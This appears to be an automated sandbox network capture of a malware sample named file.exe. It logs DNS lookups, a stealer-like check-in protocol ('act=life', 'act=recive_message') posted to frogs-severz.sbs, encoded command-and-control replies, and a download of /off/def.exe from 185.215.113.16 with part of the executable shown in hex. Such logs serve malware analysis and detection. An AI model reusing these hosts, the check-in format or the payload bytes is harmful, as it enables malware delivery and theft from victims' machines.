Nov 25, 2024 12:07:44.385050058 CET	1.1.1.1	192.168.2.5	0x5331	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:44.385050058 CET	1.1.1.1	192.168.2.5	0x5331	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:44.385050058 CET	1.1.1.1	192.168.2.5	0x5331	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:44.385050058 CET	1.1.1.1	192.168.2.5	0x5331	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:07:44.385126114 CET	1.1.1.1	192.168.2.5	0x4d70	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:44.385126114 CET	1.1.1.1	192.168.2.5	0x4d70	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:51.209908962 CET	1.1.1.1	192.168.2.5	0xcd37	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:51.216641903 CET	1.1.1.1	192.168.2.5	0x6d97	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:55.515928030 CET	1.1.1.1	192.168.2.5	0xb030	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:07:55.585387945 CET	1.1.1.1	192.168.2.5	0x9e76	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:02.310801983 CET	1.1.1.1	192.168.2.5	0xc2a3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:02.313102961 CET	1.1.1.1	192.168.2.5	0xfc9c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

frogs-severz.sbs

slscr.update.microsoft.com

otelrules.azureedge.net

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49723	185.215.113.16	80	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:07:21.235270977 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 25, 2024 12:07:22.622523069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 11:07:22 GMT Content-Type: application/octet-stream Content-Length: 2846720 Last-Modified: Mon, 25 Nov 2024 10:42:49 GMT Connection: keep-alive ETag: "674454a9-2b7000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 c9 a0 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@frqkrlxj ++:@fygxckij +J+@.taggant@+"N+@
Nov 25, 2024 12:07:22.622675896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:07:22.622694016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:07:22.622710943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:07:22.622725010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:07:22.622747898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:07:22.622764111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 12:07:22.622824907 CET	1236	IN	Data Raw: 74 fc c3 4e 9c 21 c7 89 13 50 c5 11 24 7a 68 5f 77 55 72 6f 32 37 61 af 68 0a 83 90 c9 57 13 7b 3b 88 39 ec ce 79 52 30 6b d1 88 59 be 33 f7 8f 02 0b a7 5f 46 06 c0 93 11 39 ca 95 01 03 fc 7d fe fe d6 4f 9c 05 db 37 38 da a3 99 27 e0 c9 fe 56 a9 Data Ascii: tN!P$zh_wUro27ahW{;9yR0kY3_F9}O78'Vj~,H2}t~"uPuCiga<KB7<(~v;>\|~WM=pkH7=h+[v('U+}M
Nov 25, 2024 12:07:22.622840881 CET	1236	IN	Data Raw: 88 fd 9c 39 e0 fd a8 6d 77 b0 25 5a 19 e8 a2 e0 52 f0 d6 55 a4 37 81 70 62 85 89 49 00 48 d9 4e 52 f0 98 6f 74 28 95 4c 6f f7 5a d2 00 fd 5c 4f 52 1c 9d 21 a4 44 6d 5b 2e 61 77 15 58 e8 40 79 a2 e9 38 f6 19 7c d0 c7 00 88 b1 4e 92 d9 58 02 8b c0 Data Ascii: 9mw%ZRU7pbIHNRot(LoZ\OR!Dm[.awX@y8\|NX!.(Hy0?:dClr")Rp(Mv\|`uUv^YdCgf"k^BN)y?OGI?\|K7CHzxMl7%6n7
Nov 25, 2024 12:07:22.622864008 CET	1236	IN	Data Raw: 40 de d3 48 a6 40 9d 7c 43 25 0d 50 0b a4 d2 da 0d f7 9e 21 50 0d 89 a8 1c 12 92 30 2d a0 78 ab 36 e5 92 1e 0e 81 7f 8a 81 13 f8 7c f2 d6 97 b8 42 08 79 3f 20 27 4c 2e 02 f8 42 2e 31 17 6d f4 8a 0d 71 60 04 13 69 46 0f ce 39 4f 98 6d b4 fd d3 a2 Data Ascii: @H@\|C%P!P0-x6\|By? 'L.B.1mq`iF9Om7(H@WD;ye@w'-wJ%O:v2T55[d)9]!'-\|cJr8F55pHp2 }kC'~WX#1)4 M7
Nov 25, 2024 12:07:22.742474079 CET	1236	IN	Data Raw: 18 45 e4 a5 ea d4 c1 75 ee 60 c8 8a b5 f4 7e 6e 1e 0d d3 0e 1f d4 5c 81 21 ee f0 29 1f 05 e6 5e 1e 04 6b 43 51 d9 2e bd a3 a1 f6 18 3d c7 a0 e0 57 ba 75 4a 3f 26 a5 91 52 f6 ce 3a 38 19 71 43 28 1b 67 4c 2e 17 5c a0 d2 dd c5 be e2 23 72 0c 33 a0 Data Ascii: Eu`~n\!)^kCQ.=WuJ?&R:8qC(gL.\#r3h(M$VeqJi}_v[g-wd6Y{Lsg7al^k5K=`_Aw{I$+DCvK48d=P:D4%"\nAg">Z3,pA,Tu~Q

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:06:58 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frogs-severz.sbs
2024-11-25 11:06:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-25 11:07:00 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h8vb90skqlhrmotjmiur0ev54n; expires=Fri, 21-Mar-2025 04:53:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UHb5VGte%2FmrfU29%2FsksZKr4fykudpTTFFDZ9FW9orJebC27f6K%2BZFfcuLghQsaHw1z%2F0Yz9SZmejuWkaxayQrrVJBS2ZzlJ3Xl0vslFezcgj9rBHkIXIK3b0f0uMDAGQSprh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812c265b244241-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1770&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1675272&cwnd=216&unsent_bytes=0&cid=cd5b5550c2b3970d&ts=1952&x=0"
2024-11-25 11:07:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-25 11:07:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: frogs-severz.sbs
2024-11-25 11:07:02 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-25 11:07:02 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ftj4t9jcaqf20a6nacehb7i5rs; expires=Fri, 21-Mar-2025 04:53:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bVYbE3u1HpuRds06pgIou8vC%2FzynTu5CpsEY2Lg23rsfN6ljRkMe8RD5GGrJDm1%2FN5MWHOCW6%2Fm8%2BiPJpHh6DN63dFQ%2BMjCnNxLTtrHDNUlltYuoy394xszuPfG%2FokaDPcLD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812c3b6f467d05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2062&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=953&delivery_rate=1384542&cwnd=188&unsent_bytes=0&cid=71e0d6585f6c8438&ts=707&x=0"
2024-11-25 11:07:02 UTC	356	IN	Data Raw: 63 63 39 0d 0a 6e 45 78 67 2b 73 6c 6b 36 71 51 50 31 51 55 49 4f 38 38 46 76 7a 6d 75 31 75 4f 6d 79 70 2b 70 54 52 47 78 62 53 62 45 41 38 44 6e 62 68 62 59 38 31 44 47 68 6e 79 77 4a 7a 4a 50 76 58 44 61 46 59 79 33 68 34 54 77 2b 63 67 68 59 74 52 42 42 4c 4a 75 34 71 59 71 41 5a 61 36 41 63 61 47 61 71 30 6e 4d 6d 43 30 4a 39 70 58 6a 4f 7a 42 77 36 44 39 79 43 46 7a 30 41 5a 4a 74 47 2b 6a 39 43 41 48 6b 71 77 48 6a 73 56 6a 75 47 42 74 58 71 35 76 30 56 44 44 76 6f 36 45 35 72 33 4d 4e 7a 4f 4c 54 32 75 68 64 36 48 52 4c 52 4f 52 36 78 6e 47 33 79 32 77 61 79 6f 42 37 57 54 61 57 38 4b 77 68 38 32 69 39 38 45 70 63 74 55 48 56 71 31 6c 71 50 51 75 42 4a 4f 6d 44 70 72 49 61 62 39 72 61 31 53 75 4a 35 4d 62 79 36 7a 42 6e 4f 69 75 2b 53 78 69 77 68 Data Ascii: cc9nExg+slk6qQP1QUIO88Fvzmu1uOmyp+pTRGxbSbEA8DnbhbY81DGhnywJzJPvXDaFYy3h4Tw+cghYtRBBLJu4qYqAZa6AcaGaq0nMmC0J9pXjOzBw6D9yCFz0AZJtG+j9CAHkqwHjsVjuGBtXq5v0VDDvo6E5r3MNzOLT2uhd6HRLROR6xnG3y2wayoB7WTaW8Kwh82i98EpctUHVq1lqPQuBJOmDprIab9ra1SuJ5Mby6zBnOiu+Sxiwh
2024-11-25 11:07:02 UTC	1369	IN	Data Raw: 55 5a 62 78 73 62 30 75 6d 62 74 42 57 7a 4c 6d 4c 79 36 76 39 7a 43 56 35 33 41 56 41 71 32 79 6b 2f 69 35 43 31 75 73 42 6b 49 59 31 39 30 52 76 53 61 70 72 79 78 6e 32 39 4a 36 4b 73 62 33 4d 49 7a 4f 4c 54 30 79 6a 59 71 48 31 49 51 47 51 6f 42 53 49 31 47 75 36 59 6e 68 66 71 47 6e 58 57 4e 36 2b 6a 38 4b 72 39 4d 41 6d 64 74 51 4c 42 4f 67 68 70 65 5a 75 57 74 69 4b 43 34 50 4b 5a 36 42 6e 4b 6b 62 6a 66 70 31 63 77 50 54 5a 68 4b 7a 38 7a 79 35 33 33 51 46 41 71 6d 65 73 38 79 45 45 6b 71 73 42 67 73 35 6c 74 6d 70 68 56 71 31 69 30 46 2f 4b 75 49 44 42 36 4c 4f 4c 4b 47 75 54 56 77 53 49 5a 71 48 73 62 44 65 62 70 51 69 50 30 43 32 6f 4b 58 4d 5a 71 6d 75 64 41 34 79 36 68 4d 75 36 2f 4e 6b 71 66 63 45 44 51 61 42 73 6f 66 41 75 42 35 2b 6d 43 49 Data Ascii: UZbxsb0umbtBWzLmLy6v9zCV53AVAq2yk/i5C1usBkIY190RvSapryxn29J6Ksb3MIzOLT0yjYqH1IQGQoBSI1Gu6YnhfqGnXWN6+j8Kr9MAmdtQLBOghpeZuWtiKC4PKZ6BnKkbjfp1cwPTZhKz8zy533QFAqmes8yEEkqsBgs5ltmphVq1i0F/KuIDB6LOLKGuTVwSIZqHsbDebpQiP0C2oKXMZqmudA4y6hMu6/NkqfcEDQaBsofAuB5+mCI
2024-11-25 11:07:02 UTC	1369	IN	Data Raw: 4b 58 4d 5a 71 6d 75 64 41 34 79 34 69 4d 53 6a 39 38 38 76 64 4e 34 4b 52 36 46 69 72 2f 6b 6b 44 4a 2b 76 43 6f 48 4c 61 37 64 67 62 6c 79 2f 59 74 52 58 77 50 54 50 68 4b 2f 6c 69 33 63 7a 2f 41 68 53 70 55 36 68 37 79 64 43 68 2b 55 66 79 4d 46 68 39 7a 38 71 58 71 68 76 31 6c 33 45 74 4a 50 42 70 76 62 4b 4a 58 58 53 41 6b 69 67 59 61 50 2b 4b 41 36 59 72 41 47 61 31 47 69 78 64 57 41 5a 34 79 66 61 51 34 7a 73 77 66 4b 34 36 74 6f 35 4d 65 59 4d 53 71 68 6d 74 4c 34 78 54 49 48 72 41 59 53 47 4e 66 64 73 61 6c 57 71 62 39 74 66 78 4c 75 4f 7a 62 72 38 78 79 46 68 31 41 39 4e 71 47 36 75 39 79 4d 46 6c 61 41 4d 68 63 4a 71 74 69 63 6b 47 61 70 2f 6e 51 4f 4d 67 70 48 4a 70 4e 50 41 49 33 71 54 45 41 71 2f 49 61 58 79 62 6c 72 59 72 77 71 41 7a 47 4b Data Ascii: KXMZqmudA4y4iMSj988vdN4KR6Fir/kkDJ+vCoHLa7dgbly/YtRXwPTPhK/li3cz/AhSpU6h7ydCh+UfyMFh9z8qXqhv1l3EtJPBpvbKJXXSAkigYaP+KA6YrAGa1GixdWAZ4yfaQ4zswfK46to5MeYMSqhmtL4xTIHrAYSGNfdsalWqb9tfxLuOzbr8xyFh1A9NqG6u9yMFlaAMhcJqtickGap/nQOMgpHJpNPAI3qTEAq/IaXyblrYrwqAzGK
2024-11-25 11:07:02 UTC	186	IN	Data Raw: 61 70 6a 32 31 53 4d 2b 73 48 44 73 4c 32 54 62 31 7a 30 4f 67 61 48 57 2b 4c 68 59 42 76 59 72 41 72 49 6e 69 32 37 5a 47 5a 52 6f 6d 48 55 56 38 61 39 69 73 69 6a 2b 63 63 6d 64 74 55 4f 51 61 4e 67 70 76 49 6b 42 4a 75 6f 43 59 66 4a 5a 66 63 70 4b 6c 36 31 4a 34 55 62 36 61 4f 4b 79 71 36 39 31 47 46 71 6b 77 68 49 35 6a 6e 69 38 69 63 45 6e 71 34 4b 69 63 42 6c 73 6d 39 75 57 4b 74 68 33 6c 54 49 73 59 44 4c 72 50 48 46 4a 58 4c 53 41 30 2b 70 61 71 65 2b 59 45 4b 66 73 30 62 51 68 6c 79 30 63 58 31 4a 6f 53 66 43 46 64 58 30 68 73 6a 6f 70 0d 0a Data Ascii: apj21SM+sHDsL2Tb1z0OgaHW+LhYBvYrArIni27ZGZRomHUV8a9isij+ccmdtUOQaNgpvIkBJuoCYfJZfcpKl61J4Ub6aOKyq691GFqkwhI5jni8icEnq4KicBlsm9uWKth3lTIsYDLrPHFJXLSA0+paqe+YEKfs0bQhly0cX1JoSfCFdX0hsjop
2024-11-25 11:07:02 UTC	1369	IN	Data Raw: 31 30 63 35 0d 0a 59 73 75 59 64 6b 46 53 71 4e 75 70 2f 30 68 42 5a 57 74 43 6f 4c 50 5a 62 46 6f 59 30 75 75 61 39 4e 63 77 72 69 50 79 61 4c 2b 78 6d 38 39 6b 77 68 63 35 6a 6e 69 30 69 6b 50 74 71 41 4b 6a 34 5a 79 2b 58 34 71 58 71 45 6e 68 52 76 41 76 6f 33 4e 71 50 54 4f 4a 33 6a 61 43 6b 57 74 5a 4b 48 34 49 77 32 52 75 51 79 4c 79 47 36 37 61 32 78 59 72 6e 58 56 55 6f 7a 36 77 63 4f 77 76 5a 4e 76 55 74 30 43 55 4b 46 78 34 75 46 67 47 39 69 73 43 73 69 65 4c 62 52 6d 5a 56 71 73 61 74 74 53 78 4c 53 48 77 61 66 77 78 53 68 30 30 77 4a 4b 71 57 65 71 38 79 49 4a 6c 71 49 41 69 4d 64 6e 39 79 6b 71 58 72 55 6e 68 52 76 38 74 34 48 45 73 37 33 55 59 57 71 54 43 45 6a 6d 4f 65 4c 73 4a 41 75 59 71 41 6d 50 77 6d 61 37 59 6d 39 57 72 6d 37 59 55 73 Data Ascii: 10c5YsuYdkFSqNup/0hBZWtCoLPZbFoY0uua9NcwriPyaL+xm89kwhc5jni0ikPtqAKj4Zy+X4qXqEnhRvAvo3NqPTOJ3jaCkWtZKH4Iw2RuQyLyG67a2xYrnXVUoz6wcOwvZNvUt0CUKFx4uFgG9isCsieLbRmZVqsattSxLSHwafwxSh00wJKqWeq8yIJlqIAiMdn9ykqXrUnhRv8t4HEs73UYWqTCEjmOeLsJAuYqAmPwma7Ym9Wrm7YUs
2024-11-25 11:07:02 UTC	1369	IN	Data Raw: 70 4c 32 54 62 33 4c 66 41 45 65 70 59 71 48 2f 4a 42 43 4b 70 77 2b 41 77 32 47 38 61 57 78 4c 71 32 6a 55 57 4d 2b 39 68 73 79 6b 39 38 67 6f 4d 35 31 50 51 37 34 68 2b 72 34 4e 46 59 69 6d 52 70 65 49 64 50 64 67 5a 68 6e 31 4a 39 56 57 78 4c 36 46 77 36 58 36 7a 53 5a 68 32 67 70 4b 70 6d 57 70 38 53 67 47 6d 36 73 55 6a 73 4a 6c 74 47 70 6e 56 36 35 6a 6e 52 57 4d 73 35 6d 45 38 4c 33 35 49 6e 33 49 41 45 4f 33 61 2b 4c 68 59 42 76 59 72 41 72 49 6e 69 32 7a 61 58 68 53 72 47 7a 57 56 63 75 37 68 4d 36 6f 38 73 38 73 66 64 67 4f 52 36 35 73 72 2f 41 6b 43 35 47 73 43 6f 7a 42 4c 66 6b 6e 62 55 48 74 50 35 31 77 37 5a 6d 74 77 37 4b 39 31 47 46 71 6b 77 68 49 35 6a 6e 69 38 69 63 4f 6b 71 41 42 67 73 68 6b 75 57 78 34 53 36 35 6a 33 6c 4c 50 73 34 6a Data Ascii: pL2Tb3LfAEepYqH/JBCKpw+Aw2G8aWxLq2jUWM+9hsyk98goM51PQ74h+r4NFYimRpeIdPdgZhn1J9VWxL6Fw6X6zSZh2gpKpmWp8SgGm6sUjsJltGpnV65jnRWMs5mE8L35In3IAEO3a+LhYBvYrArIni2zaXhSrGzWVcu7hM6o8s8sfdgOR65sr/AkC5GsCozBLfknbUHtP51w7Zmtw7K91GFqkwhI5jni8icOkqABgshkuWx4S65j3lLPs4j
2024-11-25 11:07:02 UTC	1369	IN	Data Raw: 32 38 39 6b 77 68 63 35 6a 6e 69 30 79 49 46 73 61 77 64 79 4e 6b 6a 72 69 64 74 56 65 30 2f 6e 56 72 48 76 6f 37 4a 71 2f 76 49 4a 48 62 5a 44 6b 4f 75 62 4c 44 39 49 51 32 63 71 77 6d 4f 77 47 79 34 59 57 31 51 72 47 2f 61 47 34 4c 30 68 74 7a 6f 70 59 73 42 64 4e 41 4c 42 4c 6b 76 75 37 34 70 44 74 6a 7a 52 6f 6a 4d 5a 37 31 70 61 6c 36 2f 59 64 52 62 7a 36 61 43 77 71 44 37 78 79 4e 2b 32 77 5a 45 6f 32 71 76 39 53 4d 45 6d 4b 41 48 79 49 67 74 73 48 38 71 41 65 31 57 30 46 58 49 75 6f 4c 55 72 37 33 55 59 57 71 54 43 45 6a 6d 4f 65 4c 78 4a 78 43 66 72 67 36 42 78 6d 4f 2b 62 6d 31 64 72 6d 62 5a 56 38 4f 39 67 73 79 70 39 63 51 73 63 39 67 48 54 71 64 76 70 37 35 67 51 70 2b 7a 52 74 43 47 51 72 52 69 59 56 6a 76 51 4e 74 63 77 50 53 65 69 72 47 39 Data Ascii: 289kwhc5jni0yIFsawdyNkjridtVe0/nVrHvo7Jq/vIJHbZDkOubLD9IQ2cqwmOwGy4YW1QrG/aG4L0htzopYsBdNALBLkvu74pDtjzRojMZ71pal6/YdRbz6aCwqD7xyN+2wZEo2qv9SMEmKAHyIgtsH8qAe1W0FXIuoLUr73UYWqTCEjmOeLxJxCfrg6BxmO+bm1drmbZV8O9gsyp9cQsc9gHTqdvp75gQp+zRtCGQrRiYVjvQNtcwPSeirG9
2024-11-25 11:07:02 UTC	194	IN	Data Raw: 30 42 51 37 42 77 37 39 6b 30 44 35 36 38 46 38 69 49 4c 62 45 6e 4d 67 6e 6a 4a 39 6c 4b 6a 4f 7a 52 6c 76 4f 6f 6d 48 67 6a 67 52 41 4b 76 79 47 30 76 6e 5a 51 31 75 73 55 79 4a 34 74 38 47 52 34 53 36 74 6b 79 31 69 4c 69 72 2f 71 72 2f 76 4f 4b 47 4f 52 49 55 2b 79 5a 75 4b 77 62 67 33 59 38 7a 2f 49 6a 69 32 49 4b 53 70 42 37 54 2b 64 62 73 2b 36 6a 38 4f 2b 37 49 59 42 64 4e 55 4b 51 37 59 6a 6a 50 55 36 42 64 6a 6c 52 6f 36 47 4e 65 63 70 4b 6c 32 38 4a 34 55 4c 6e 75 2f 55 6c 2f 2b 74 6d 54 41 39 79 6b 39 53 35 6a 6e 77 73 47 34 51 32 50 4e 47 7a 38 56 2f 70 57 0d 0a Data Ascii: 0BQ7Bw79k0D568F8iILbEnMgnjJ9lKjOzRlvOomHgjgRAKvyG0vnZQ1usUyJ4t8GR4S6tky1iLir/qr/vOKGORIU+yZuKwbg3Y8z/Iji2IKSpB7T+dbs+6j8O+7IYBdNUKQ7YjjPU6BdjlRo6GNecpKl28J4ULnu/Ul/+tmTA9yk9S5jnwsG4Q2PNGz8V/pW
2024-11-25 11:07:02 UTC	1369	IN	Data Raw: 31 38 64 65 0d 0a 46 70 54 36 34 67 34 32 58 50 6f 6f 7a 4c 6f 2f 7a 31 45 56 33 65 44 6b 65 6f 49 35 50 6f 49 78 4b 62 72 67 47 32 2b 47 4f 77 63 32 31 58 71 32 65 64 46 59 79 37 77 5a 79 52 76 59 4e 76 54 4a 31 50 58 4f 59 35 34 73 73 74 44 4a 61 73 45 4a 6d 4c 54 71 46 71 5a 56 4b 73 4a 35 4d 62 79 76 54 5a 6c 4f 61 39 7a 7a 34 7a 69 31 38 57 2f 54 54 78 71 58 35 51 68 2b 55 66 79 4e 41 74 37 7a 55 6b 47 62 38 6e 68 52 75 4c 75 6f 7a 46 71 2f 50 49 50 57 48 56 44 46 4b 6c 4a 70 7a 41 44 77 2b 54 70 77 75 48 7a 56 4f 4a 52 6d 64 53 6f 57 72 53 55 50 4b 4b 6c 4d 65 6d 38 38 77 35 59 70 4e 42 42 4b 6b 68 2b 73 64 75 53 74 69 55 53 4d 6a 65 4c 65 38 6e 58 31 71 6a 61 64 70 4e 33 66 6d 67 79 61 50 78 78 69 42 34 6b 30 45 45 6f 43 48 36 72 6d 42 43 6e 4c 70 Data Ascii: 18deFpT64g42XPoozLo/z1EV3eDkeoI5PoIxKbrgG2+GOwc21Xq2edFYy7wZyRvYNvTJ1PXOY54sstDJasEJmLTqFqZVKsJ5MbyvTZlOa9zz4zi18W/TTxqX5Qh+UfyNAt7zUkGb8nhRuLuozFq/PIPWHVDFKlJpzADw+TpwuHzVOJRmdSoWrSUPKKlMem88w5YpNBBKkh+sduStiUSMjeLe8nX1qjadpN3fmgyaPxxiB4k0EEoCH6rmBCnLp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
